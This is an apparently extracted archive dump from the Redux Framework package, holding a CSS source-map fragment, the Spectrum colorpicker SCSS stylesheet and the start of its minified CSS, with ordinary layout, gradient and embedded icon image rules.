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", "sources": ["redux-spectrum.scss"], "names": [], "file": "redux-spectrum.css" }lib/redux-framework/assets/css/vendor/spectrum/redux-spectrum.scss000064400000035457147206624460021602 0ustar00/*** Spectrum Colorpicker v1.5.1 https://github.com/bgrins/spectrum Author: Brian Grinstead License: MIT ***/ .sp-container { position: absolute; top: 0; left: 0; display: inline-block; *display: inline; *zoom: 1; /* https://github.com/bgrins/spectrum/issues/40 */ z-index: 9999994; overflow: hidden; } .sp-container.sp-flat { position: relative; } /* Fix for * { box-sizing: border-box; } */ .sp-container, .sp-container * { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } /* http://ansciath.tumblr.com/post/7347495869/css-aspect-ratio */ .sp-top { position: relative; width: 100%; display: inline-block; } .sp-top-inner { position: absolute; top: 0; left: 0; bottom: 0; right: 0; } .sp-color { position: absolute; top: 0; left: 0; bottom: 0; right: 20%; } .sp-hue { position: absolute; top: 0; right: 0; bottom: 0; left: 84%; height: 100%; } .sp-clear-enabled .sp-hue { top: 33px; height: 77.5%; } .sp-fill { padding-top: 80%; } .sp-sat, .sp-val { position: absolute; top: 0; left: 0; right: 0; bottom: 0; } .sp-alpha-enabled .sp-top { margin-bottom: 18px; } .sp-alpha-enabled .sp-alpha { display: block; } .sp-alpha-handle { position: absolute; top: -4px; bottom: -4px; width: 6px; left: 50%; cursor: pointer; border: 1px solid black; background: white; opacity: .8; } .sp-alpha { display: none; position: absolute; bottom: -14px; right: 0; left: 0; height: 8px; } .sp-alpha-inner { border: solid 1px #333; } .sp-clear { display: none; } .sp-clear.sp-clear-display { background-position: center; } .sp-clear-enabled .sp-clear { display: block; position: absolute; top: 0px; right: 0; bottom: 0; left: 84%; height: 28px; } /* Don't allow text selection */ .sp-container, .sp-replacer, .sp-preview, .sp-dragger, .sp-slider, .sp-alpha, .sp-clear, .sp-alpha-handle, .sp-container.sp-dragging .sp-input, .sp-container button { -webkit-user-select: none; -moz-user-select: -moz-none; -o-user-select: none; user-select: none; } .sp-container.sp-input-disabled .sp-input-container { display: none; } .sp-container.sp-buttons-disabled .sp-button-container { display: none; } .sp-container.sp-palette-buttons-disabled .sp-palette-button-container { display: none; } .sp-palette-only .sp-picker-container { display: none; } .sp-palette-disabled .sp-palette-container { display: none; } .sp-initial-disabled .sp-initial { display: none; } /* Gradients for hue, saturation and value instead of images. Not pretty... but it works */ .sp-sat { background-image: -webkit-gradient(linear, 0 0, 100% 0, from(#FFF), to(rgba(204, 154, 129, 0))); background-image: -webkit-linear-gradient(left, #FFF, rgba(204, 154, 129, 0)); background-image: -moz-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); background-image: -o-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); background-image: -ms-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); background-image: linear-gradient(to right, #fff, rgba(204, 154, 129, 0)); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr=#FFFFFFFF, endColorstr=#00CC9A81)"; filter: progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr='#FFFFFFFF', endColorstr='#00CC9A81'); } .sp-val { background-image: -webkit-gradient(linear, 0 100%, 0 0, from(#000000), to(rgba(204, 154, 129, 0))); background-image: -webkit-linear-gradient(bottom, #000000, rgba(204, 154, 129, 0)); background-image: -moz-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); background-image: -o-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); background-image: -ms-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); background-image: linear-gradient(to top, #000, rgba(204, 154, 129, 0)); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#00CC9A81, endColorstr=#FF000000)"; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00CC9A81', endColorstr='#FF000000'); } .sp-hue { background: -moz-linear-gradient(top, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); background: -ms-linear-gradient(top, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); background: -o-linear-gradient(top, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); background: -webkit-gradient(linear, left top, left bottom, from(#ff0000), color-stop(0.17, #ffff00), color-stop(0.33, #00ff00), color-stop(0.5, #00ffff), color-stop(0.67, #0000ff), color-stop(0.83, #ff00ff), to(#ff0000)); background: -webkit-linear-gradient(top, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); background: linear-gradient(to bottom, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); } /* IE filters do not support multiple color stops. Generate 6 divs, line them up, and do two color gradients for each. Yes, really. */ .sp-1 { height: 17%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0000', endColorstr='#ffff00'); } .sp-2 { height: 16%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff00', endColorstr='#00ff00'); } .sp-3 { height: 17%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ff00', endColorstr='#00ffff'); } .sp-4 { height: 17%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffff', endColorstr='#0000ff'); } .sp-5 { height: 16%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0000ff', endColorstr='#ff00ff'); } .sp-6 { height: 17%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00ff', endColorstr='#ff0000'); } .sp-hidden { display: none !important; } /* Clearfix hack */ .sp-cf:before, .sp-cf:after { content: ""; display: table; } .sp-cf:after { clear: both; } .sp-cf { *zoom: 1; } /* Mobile devices, make hue slider bigger so it is easier to slide */ @media (max-device-width: 480px) { .sp-color { right: 40%; } .sp-hue { left: 63%; } .sp-fill { padding-top: 60%; } } .sp-dragger { border-radius: 5px; height: 5px; width: 5px; border: 1px solid #fff; background: #000; cursor: pointer; position: absolute; top: 0; left: 0; } .sp-slider { position: absolute; top: 0; cursor: pointer; height: 3px; left: -1px; right: -1px; border: 1px solid #000; background: white; opacity: .8; } /* Theme authors: Here are the basic themeable display options (colors, fonts, global widths). See http://bgrins.github.io/spectrum/themes/ for instructions. */ .sp-container { border-radius: 0; background-color: #ECECEC; border: solid 1px #f0c49B; padding: 0; } .sp-container, .sp-container button, .sp-container input, .sp-color, .sp-hue, .sp-clear { font: normal 12px "Lucida Grande", "Lucida Sans Unicode", "Lucida Sans", Geneva, Verdana, sans-serif; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -ms-box-sizing: border-box; box-sizing: border-box; } .sp-top { margin-bottom: 3px; } .sp-color, .sp-hue, .sp-clear { border: solid 1px #666; } /* Input */ .sp-input-container { float: right; width: 100px; margin-bottom: 4px; } .sp-initial-disabled .sp-input-container { width: 100%; } .sp-input { font-size: 12px !important; border: 1px inset; padding: 4px 5px; margin: 0; width: 100%; background: transparent; border-radius: 3px; color: #222; } .sp-input:focus { border: 1px solid orange; } .sp-input.sp-validation-error { border: 1px solid red; background: #fdd; } .sp-picker-container, .sp-palette-container { float: left; position: relative; padding: 10px; padding-bottom: 300px; margin-bottom: -290px; } .sp-picker-container { width: 172px; border-left: solid 1px #fff; } /* Palettes */ .sp-palette-container { border-right: solid 1px #ccc; } .sp-palette-only .sp-palette-container { border: 0; } .sp-palette .sp-thumb-el { display: block; position: relative; float: left; width: 24px; height: 15px; margin: 3px; cursor: pointer; border: solid 2px transparent; } .sp-palette .sp-thumb-el:hover, .sp-palette .sp-thumb-el.sp-thumb-active { border-color: orange; } .sp-thumb-el { position: relative; } /* Initial */ .sp-initial { float: left; border: solid 1px #333; } .sp-initial span { width: 30px; height: 25px; border: none; display: block; float: left; margin: 0; } .sp-initial .sp-clear-display { background-position: center; } /* Buttons */ .sp-palette-button-container, .sp-button-container { float: right; } /* Replacer (the little preview div that shows up instead of the ) */ .sp-replacer { margin: 0; overflow: hidden; cursor: pointer; padding: 4px; display: inline-block; *zoom: 1; *display: inline; border: solid 1px #91765d; background: #eee; color: #333; vertical-align: middle; } .sp-replacer:hover, .sp-replacer.sp-active { border-color: #F0C49B; color: #111; } .sp-replacer.sp-disabled { cursor: default; border-color: silver; color: silver; } .sp-dd { padding: 2px 0; height: 16px; line-height: 16px; float: left; font-size: 10px; } .sp-preview { position: relative; width: 25px; height: 20px; border: solid 1px #222; margin-right: 5px; float: left; z-index: 0; } .sp-palette { *width: 220px; max-width: 220px; } .sp-palette .sp-thumb-el { width: 16px; height: 16px; margin: 2px 1px; border: solid 1px #d0d0d0; } .sp-container { padding-bottom: 0; } /* Buttons: http://hellohappy.org/css3-buttons/ */ .sp-container button { background-color: #eeeeee; background-image: -webkit-linear-gradient(top, #eeeeee, #cccccc); background-image: -moz-linear-gradient(top, #eeeeee, #cccccc); background-image: -ms-linear-gradient(top, #eeeeee, #cccccc); background-image: -o-linear-gradient(top, #eeeeee, #cccccc); background-image: linear-gradient(to bottom, #eeeeee, #cccccc); border: 1px solid #ccc; border-bottom: 1px solid #bbb; border-radius: 3px; color: #333; font-size: 14px; line-height: 1; padding: 5px 4px; text-align: center; text-shadow: 0 1px 0 #eee; vertical-align: middle; } .sp-container button:hover { background-color: #dddddd; background-image: -webkit-linear-gradient(top, #dddddd, #bbbbbb); background-image: -moz-linear-gradient(top, #dddddd, #bbbbbb); background-image: -ms-linear-gradient(top, #dddddd, #bbbbbb); background-image: -o-linear-gradient(top, #dddddd, #bbbbbb); background-image: linear-gradient(to bottom, #dddddd, #bbbbbb); border: 1px solid #bbb; border-bottom: 1px solid #999; cursor: pointer; text-shadow: 0 1px 0 #ddd; } .sp-container button:active { border: 1px solid #aaa; border-bottom: 1px solid #888; -webkit-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -moz-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -ms-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -o-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; } .sp-cancel { font-size: 11px; color: #d93f3f !important; margin: 0; padding: 2px; margin-right: 5px; vertical-align: middle; text-decoration: none; } .sp-cancel:hover { color: #d93f3f !important; text-decoration: underline; } .sp-palette span:hover, .sp-palette span.sp-thumb-active { border-color: #000; } .sp-preview, .sp-alpha, .sp-thumb-el { position: relative; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==); } .sp-preview-inner, .sp-alpha-inner, .sp-thumb-inner { display: block; position: absolute; top: 0; left: 0; bottom: 0; right: 0; } .sp-palette .sp-thumb-inner { background-position: 50% 50%; background-repeat: no-repeat; } .sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=); } .sp-palette .sp-thumb-dark.sp-thumb-active .sp-thumb-inner { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=); } .sp-clear-display { background-repeat: no-repeat; background-position: center; background-image: url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==); } lib/redux-framework/assets/css/vendor/spectrum/redux-spectrum.css000064400000026513147206624460021410 0ustar00.sp-container{position:absolute;top:0;left:0;display:inline-block;*display:inline;*zoom:1;z-index:9999994;overflow:hidden}.sp-container.sp-flat{position:relative}.sp-container,.sp-container *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.sp-top{position:relative;width:100%;display:inline-block}.sp-top-inner{position:absolute;top:0;left:0;bottom:0;right:0}.sp-color{position:absolute;top:0;left:0;bottom:0;right:20%}.sp-hue{position:absolute;top:0;right:0;bottom:0;left:84%;height:100%}.sp-clear-enabled .sp-hue{top:33px;height:77.5%}.sp-fill{padding-top:80%}.sp-sat,.sp-val{position:absolute;top:0;left:0;right:0;bottom:0}.sp-alpha-enabled .sp-top{margin-bottom:18px}.sp-alpha-enabled .sp-alpha{display:block}.sp-alpha-handle{position:absolute;top:-4px;bottom:-4px;width:6px;left:50%;cursor:pointer;border:1px solid black;background:white;opacity:.8}.sp-alpha{display:none;position:absolute;bottom:-14px;right:0;left:0;height:8px}.sp-alpha-inner{border:solid 1px #333}.sp-clear{display:none}.sp-clear.sp-clear-display{background-position:center}.sp-clear-enabled .sp-clear{display:block;position:absolute;top:0;right:0;bottom:0;left:84%;height:28px}.sp-container,.sp-replacer,.sp-preview,.sp-dragger,.sp-slider,.sp-alpha,.sp-clear,.sp-alpha-handle,.sp-container.sp-dragging .sp-input,.sp-container button{-webkit-user-select:none;-moz-user-select:-moz-none;-o-user-select:none;user-select:none}.sp-container.sp-input-disabled .sp-input-container{display:none}.sp-container.sp-buttons-disabled .sp-button-container{display:none}.sp-container.sp-palette-buttons-disabled .sp-palette-button-container{display:none}.sp-palette-only .sp-picker-container{display:none}.sp-palette-disabled .sp-palette-container{display:none}.sp-initial-disabled .sp-initial{display:none}.sp-sat{background-image:-webkit-gradient(linear,0 0,100% 